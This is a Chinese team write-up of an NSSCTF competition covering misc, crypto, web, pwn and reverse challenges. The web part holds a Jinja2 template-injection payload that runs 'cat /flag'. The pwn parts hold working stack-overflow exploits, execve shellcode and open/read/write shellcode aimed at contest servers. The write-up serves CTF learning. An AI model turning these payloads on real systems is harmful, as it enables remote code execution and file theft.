前言
本篇WriteUP为B@0、ccc、Boogipop、树木共同编写,感谢三位师傅带我打比赛拿了个第五Orz
Misc
签到
关注微信公众号发送指令得到flag
Matryoshka
解压附件得到一个zip和一个txt,看看txt的内容
不难发现,是将数字和一些运算符号给用英文替换了,我们手动计算一下,但是解压发现并不是密码,我开始怀疑是不是思路错了,然而。。。
队友说是直接从左往右算,而不是先乘除后加减,所以不能用eval,这里自己造个轮子打一打
import re, zipfile
def replace_words(line):
line = line.replace("one", "1")
line = line.replace("two", "2")
line = line.replace("three", "3")
line = line.replace("four", "4")
line = line.replace("five", "5")
line = line.replace("six", "6")
line = line.replace("seven", "7")
line = line.replace("eight", "8")
line = line.replace("nine", "9")
line = line.replace("zero", "0")
line = line.replace("plus", "+")
line = line.replace("minus", "-")
line = line.replace("times", "*")
line = line.replace("divided", "/")
line = line.replace("mod", "%")
return line
def eval_line(line):
tokens = re.findall(r"\d+|[\+\-\*/%]", line)
result = int(tokens[0])
i = 1
while i < len(tokens):
if tokens[i] == '+':
result += int(tokens[i + 1])
elif tokens[i] == '-':
result -= int(tokens[i + 1])
elif tokens[i] == '*':
result *= int(tokens[i + 1])
elif tokens[i] == '/':
result /= int(tokens[i + 1])
elif tokens[i] == '%':
result %= int(tokens[i + 1])
i += 2
return int(result)
number = 1000
while(number > 1):
with open("password"+str(number)+".txt") as f:
password = f.read()
password = replace_words(password)
print(password)
result = eval_line(password)
print(result)
with zipfile.ZipFile("Matryoshka"+str(number)+".zip") as my_zip:
my_zip.extractall(pwd=str(result).encode())
number = number - 1
print(number)
然后脚本挂着挂着寄了
还以为是模运算优先级问题,跟chatgpt扯皮半天,结果我的队友发现密码不要负数,让我试试绝对值,那我就加上绝对值试试
while(number > -1):
with open("password"+str(number)+".txt") as f:
password = f.read()
password = replace_words(password)
print(password)
result = abs(eval_line(password))
print(result)
with zipfile.ZipFile("Matryoshka"+str(number)+".zip") as my_zip:
my_zip.extractall(pwd=str(result).encode())
number = number - 1
print(number)
你别说,你还真别说,真就是那个绝对值的问题,加上abs后完美解决,成功拿到flag
NSSCTF{4u70m473_3v3ry7h1n6}
pixelart
拿到附件,看到很像flag的东西
直接肉眼OCR,读半天读了个fake的flag,气死我了!!!
再继续尝试,发现美腿部分也有一部分像素点,用PS读一下RGB,然后PIL造个轮子提一下
def image_read(image_path: str, logger: logging.Logger) -> tuple:
"""将输入的图像文件(文件路径)进行读取,并逐行扫描后,将像素数据写入列表对象并返回
Args:
image_path (str): 图像文件的路径
Returns:
tuple: (X_image:int, Y_image:int, img_pixels:list, img_data_image:Image)
X_image (int): 图像文件的路径
Y_image (int): 二进制数据的处理顺序
img_pixels (int): 图像的像素数据
img_data_image (Image): 图像对象
"""
img_data_image = Image.open(image_path)
img_data_image.convert("RGBA")
X_image, Y_image = img_data_image.size
img_pixels = []
for y in range(Y_image):
for x in range(X_image):
img_pixels.append(img_data_image.getpixel((x, y)))
return X_image, Y_image, img_pixels, img_data_image
调用轮子,提取所有像素点
from images import images
import logging
from PIL import Image
logger = logging.getLogger("zeus-log")
logger.setLevel(logging.DEBUG)
if __name__ == "__main__":
X, Y, img, im = images.image_read("./arcaea.png", logger)
imm = Image.new("RGB", (320, 180))
m, n = 0, 0
for i in range(0, Y, 12):
for j in range(0, X, 12):
pixel = img[i*X+j]
imm.putpixel((m, n), pixel)
m += 1
n += 1
m = 0
imm.show()
得到一张非常哇塞的图片,但是没有flag
zsteg跑一下,这次有flag了捏
NSSCTF{J3st_2_cats_battling}
Crypto
Absolute_Baby_Encrytpion
签到题,单表替换密码,表都给了,费点功夫逆个表
encryptedString = input("Enter an encrypted string: ")
charArray = list(encryptedString)
decryptedString = ""
hasInvalidCharacter = False
for char in charArray:
if char == '!':
decryptedString += 'a'
elif char == '1':
decryptedString += 'b'
elif char == ')':
decryptedString += 'c'
elif char == 'v':
decryptedString += 'd'
elif char == 'm':
decryptedString += 'e'
elif char == '+':
decryptedString += 'f'
elif char == 'q':
decryptedString += 'g'
elif char == '0':
decryptedString += 'h'
elif char == 'c':
decryptedString += 'i'
elif char == ']':
decryptedString += 'j'
elif char == '(':
decryptedString += 'k'
elif char == '}':
decryptedString += 'l'
elif char == '[':
decryptedString += 'm'
elif char == '8':
decryptedString += 'n'
elif char == '5':
decryptedString += 'o'
elif char == '$':
decryptedString += 'p'
elif char == '*':
decryptedString += 'q'
elif char == 'i':
decryptedString += 'r'
elif char == '>':
decryptedString += 's'
elif char == '#':
decryptedString += 't'
elif char == '<':
decryptedString += 'u'
elif char == '?':
decryptedString += 'v'
elif char == 'o':
decryptedString += 'w'
elif char == '^':
decryptedString += 'x'
elif char == '-':
decryptedString += 'y'
elif char == '_':
decryptedString += 'z'
elif char == 'h':
decryptedString += '0'
elif char == 'w':
decryptedString += '1'
elif char == 'e':
decryptedString += '2'
elif char == '9':
decryptedString += '3'
elif char == 'g':
decryptedString += '4'
elif char == 'z':
decryptedString += '5'
elif char == 'd':
decryptedString += '6'
elif char == '~':
decryptedString += '7'
elif char == '=':
decryptedString += '8'
elif char == 'x':
decryptedString += '9'
elif char == 'j':
decryptedString += '!'
elif char == ':':
decryptedString += '@'
elif char == '4':
decryptedString += '#'
elif char == 'b':
decryptedString += '$'
elif char == '`':
decryptedString += '%'
elif char == 'l':
decryptedString += '^'
elif char == '3':
decryptedString += '&'
elif char == 't':
decryptedString += '*'
elif char == '6':
decryptedString += '('
elif char == 's':
decryptedString += ')'
elif char == 'n':
decryptedString += '_'
elif char == ';':
decryptedString += '+'
elif char == '\'':
decryptedString += '-'
elif char == 'r':
decryptedString += '='
elif char == 'k':
decryptedString += '`'
elif char == 'p':
decryptedString += '~'
elif char == '\"':
decryptedString += '{'
elif char == '&':
decryptedString += '}'
elif char == '/':
decryptedString += '['
elif char == '\\':
decryptedString += ']'
elif char == '2':
decryptedString += '|'
elif char == '.':
decryptedString += ':'
elif char == '%':
decryptedString += ';'
elif char == '|':
decryptedString += '\"'
elif char == ',':
decryptedString += '\''
elif char == '@':
decryptedString += '<'
elif char == '{':
decryptedString += '>'
elif char == 'u':
decryptedString += ','
elif char == '7':
decryptedString += '.'
elif char == 'y':
decryptedString += '?'
elif char == 'a':
decryptedString += '/'
else:
hasInvalidCharacter = True
if hasInvalidCharacter:
decryptedString = "Invalid String!"
else:
print(f"Your decoded string is {decryptedString}")
Math Problem
根据椭圆曲线的性质,直接copper出x,然后用small_roots求p,最后常规RSA解密,搞定
from Crypto.Util.number import *
import gmpy2
e = 65537
n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877
c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008
a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619
b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913
y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854
PR = PolynomialRing(base_ring=Zmod(n), names=('x',))
x = PR.gen()
f = x**3 + a*x + b - y**2
f = f.monic()
x0 = f.small_roots(X=2**64, beta=0.4, epsilon=0.01)[0]
f = x0**3 + a*x0 + b - y**2
p = gmpy2.gcd(int(f), n)
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
babylua
拿chatgpt做的 233 虽然不是密码手 但是还是出了一题
虽然看不懂lua语言 丢给gpt分析以后知道了 主要逻辑 从大小写字母中随机抽取4个字符 经过md5加密以后 给出了前10位 这里需要第一次遍历是哪四个字符 最后得知是kKpU
爆破字符的脚本:
from hashlib import md5
from itertools import product
dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
seed_list = [''.join(x) for x in product(dic, repeat=4)]
for seed in seed_list:
key = md5(md5(seed.encode()).hexdigest().encode()).hexdigest()[:10]
if key == 'b5e62abe84':
print(seed)
break
得到flag的脚本
from hashlib import md5
key = md5(md5(b'kKpU').hexdigest().encode()).hexdigest().encode()
s = '200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225'.split()
for i in range(len(s)):
print(chr(int(s[i]) - key[i]), end='')
最后其实就是利用把s的每一位对应的key 减去就行了
Web
hate eat snake
改前端JS.
受不了一点
我也一点都受不了这题目,无语,你自己品
POST /?aaa=114514a&bbb=114514b HTTP/1.1
Host: node6.anna.nssctf.cn:28329
Content-Length: 31
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://node6.anna.nssctf.cn:28329
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node6.anna.nssctf.cn:28329/?aaa=114514a&bbb=114514b
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
cookie: cookie=j0k3r
Connection: close
gdou%5B%5D=1&ctf%5B%5D=2&flag=1
请求包如上,发送即可获得
EZ WEB
我会发PUT请求
<ez_ze>
随便掏了个payload
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set xxx=dict(o=a,s=a)|join%}{%print(lipsum|attr(glo)|attr(a+a+'get'+'item'+a+a)(xxx)|attr('po'+'pen')('cat /flag')|attr('read')())%}x`
Pwn
EASY PWN
表面上看起来是猜测/dev/urandom中的随机数 但是实际上能否获取flag是依靠v5的值 使其为1即可获取flag
s1字符串的读入是采取gets函数 存在溢出 只需要0x1f-0x4的垃圾数据 就能够到v5
from pwn import*
from struct import pack
from ctypes import *
from LibcSearcher import*
#io = process("./pwn")
io = remote("node5.anna.nssctf.cn",28952)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.arch = "amd64"
io.recvuntil("Password:")
payload = cyclic(0x1f-0x4)+p32(1)
io.sendline(payload)
io.recv()
io.recv()
Shellcode
板子题 有往bss段读入shellcode的机会 也有栈溢出 那就直接跳转就好了
from pwn import*
from struct import pack
from ctypes import *
from LibcSearcher import*
#io = process("./pwn")
io = remote("node6.anna.nssctf.cn",28966)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.arch = "amd64"
io.recvuntil("Please.")
shellcode = '\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
io.send(shellcode)
io.recvuntil("Let's start!")
payload = cyclic(0xa+0x8)+p64(0x6010A0)
io.send(payload)
io.interactive()
真男人下120层
考的伪随机数 虽然拿了时间当种子 但是我们脚本也可以利用时间当种子 一般不会偏差到哪里去 概率失败
虽然但是 还是要吐槽一句 伪随机数真的考烂了 我第一篇wp就是关于伪随机数的
from pwn import*
from struct import pack
from ctypes import *
from LibcSearcher import*
#io = process("./pwn")
io = remote("node5.anna.nssctf.cn",28082)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
context.arch = "amd64"
seed = libc.time(0)
libc.srand(seed)
libc.srand(libc.rand() % 3 - 1522127470)
for i in range(120):
io.recvuntil("\n\n")
buf = libc.rand() % 4 + 1
io.sendline(str(buf))
io.recvuntil("Congratulation!")
flag = io.recvuntil("}")
print(flag)
Random
手写shellcode的题 就是不理解为什么一定要塞随机数进来。。。出题人这么喜欢伪随机数吗
思路就是构造read往其他rwxp权限地址写orw 因为开启了沙盒 本来有想过不赋值rsi了 直接在栈上写 但是试了下 本地能通 远程估计因为libc版本的原因 偏移不对 失败了 耽误了点时间 痛失血
vmmap查看一下 0x601000可以用来当中转
from pwn import*
from ctypes import *
#io = process("./pwn")
io = remote("node5.anna.nssctf.cn",28381)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
elf = ELF("./test")
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("buu16_64.so")
context.arch = "amd64"
seed = libc.time(0)
libc.srand(seed)
io.recvuntil("please input a guess num:")
buf = libc.rand()%50
io.sendline(str(buf))
io.recvuntil("your door")
shellcode = """
xor eax,eax
shl edx,12
mov esi,0x601700
syscall
jmp rsi
"""
jmp_rsp = 0x000000000040094e
payload = cyclic(0x28)+p64(jmp_rsp)+asm(shellcode)
# gdb.attach(io,'b *0x400949')
# pause(0)
io.send(payload)
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
io.send(shellcode)
flag = io.recvuntil("}")
print(flag)
Reverse
Check_Your_Luck
z3解题即可
from z3 import *
v,w,x,y,z= Ints("v w x y z")
solver = Solver()
#check '76876' '77776'
solver.add(v * 23 + w * -32 + x * 98 + y * 55 + z * 90 == 333322)
solver.add(v * 123 + w * -322 + x * 68 + y * 67 + z * 32 == 707724)
solver.add(v * 266 + w * -34 + x * 43 + y * 8 + z * 32 == 1272529)
solver.add(v * 343 + w * -352 + x * 58 + y * 65 + z * 5 == 1672457)
solver.add(v * 231 + w * -321 + x * 938 + y * 555 + z * 970 == 3372367)
solver.check()
result = solver.model()
print(result)
# flag{4544_123_677_1754_777}
#print("flag{" + result["v"] + "_" + result["w"] + "_" + result["x"] + "_" + result["y"] + "_" + result["z"] + "}")
doublegame
第一个游戏是贪吃蛇,修改分数跳过即可。第二个游戏是迷宫,迷宫又分两步,第一步走到 从@走到 * ,第二步走出去。
然后flag格式是
000000000000000000000
0 0 0 0 0 0 0
0 0 0 00000 00000 0 0
0 0 0 0
0 000 000 0 000 0 0 0
0 0 0 0 0 0 0 0
0 0 0 00000 000 000 0
0 0 0 0 0 0
0 000 0 0 000 0 0 0 0
0 0 0 0 0 0 0 0 0
0 00000 000 000 0 0 0
0 0 0 0 0
000 0 0 0 000 0 0 0 0
0 0 0 0 0 0 * 0 0 0 0
0 0000000 0 000 00000
@ 0 0 0 0
0 0 0 0 0 00000000000
0 0 0 0 0
000 0 00000 0 000 000
0 0 0 0 0
000000000000000000000
dddssssddwwwwddssddwwwwwwddddssaassddddwwwwddwwwwddd
最高分:13371337
NSSCTF{5AFFF098B4E0757913371337}
NSSCTF{811173B05AFFF098B4E0757962127EAC13371337}
NSSCTF{811173b05afff098b4e0757962127eac13371337} //正确的
NSSCTF{5afff098b4e0757913371337}
NSSCTF{811173b05afff098b4e0757962127eac13371337}
Tea
xtea算法
有了key和密文解密即可
#include <stdio.h>
#include <cstdint>
#include <windows.h>
void De(DWORD* enc, DWORD* key)
{
int v2; // [rsp+44h] [rbp+24h]
int i; // [rsp+64h] [rbp+44h]
unsigned int v4; // [rsp+84h] [rbp+64h]
unsigned int sum; // [rsp+C4h] [rbp+A4h]
for (i = 8; i >= 0; --i)
{
v4 = 0;
sum = 0xF462900 * i + 0xF462900 * 33;
v2 = i + 1;
do
{
++v4;
sum -= 0xF462900;
enc[v2] -= (sum + key[(sum >> 11) & 3]) ^ (enc[i] + ((enc[i] >> 5) ^ (16 * enc[i])));
enc[i] -= sum ^ (enc[v2] + ((enc[v2] >> 5) ^ (16 * enc[v2]))) ^ (sum + key[sum & 3]);
} while (v4 <= 32);
}
}
DWORD key[4] = {0x8B9, 0x1167, 0x1A15, 0x22C3};
DWORD data[10] = { 0x1A800BDA, 0xF7A6219B, 0x491811D8, 0xF2013328, 0x156C365B, 0x3C6EAAD8, 0x84D4BF28, 0xF11A7EE7,0x3313B252, 0xDD9FE279 };
int main() {
De(data, key);
for (int i = 0;i < 10;i++) {
printf("0x%x ", data[i]);
}
return 0;
}
每日emo
【天上皎皎明月光,人间匆匆少年郎,脚步最匆匆】